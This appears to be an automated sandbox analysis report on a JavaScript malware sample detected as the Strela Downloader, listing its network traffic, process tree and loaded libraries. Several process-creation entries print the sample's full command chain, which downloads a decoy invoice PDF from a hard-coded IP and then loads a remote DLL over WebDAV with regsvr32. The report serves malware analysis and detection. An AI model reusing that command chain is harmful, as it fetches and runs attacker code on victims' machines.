73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.4:63302 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:62400 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:61736 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1678917268.000001DC3340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1739960593.000001ED3373C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1739816457.000001ED33708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000008.00000002.2960857842.000001C72A800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AA4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AAC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1738203927.000001C72AAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7116, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17763111531162825565.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pkv11ibs.gj5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 17763111531162825565.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1560,i,18320074673369195276,3779788688947174590,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1560,i,18320074673369195276,3779788688947174590,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
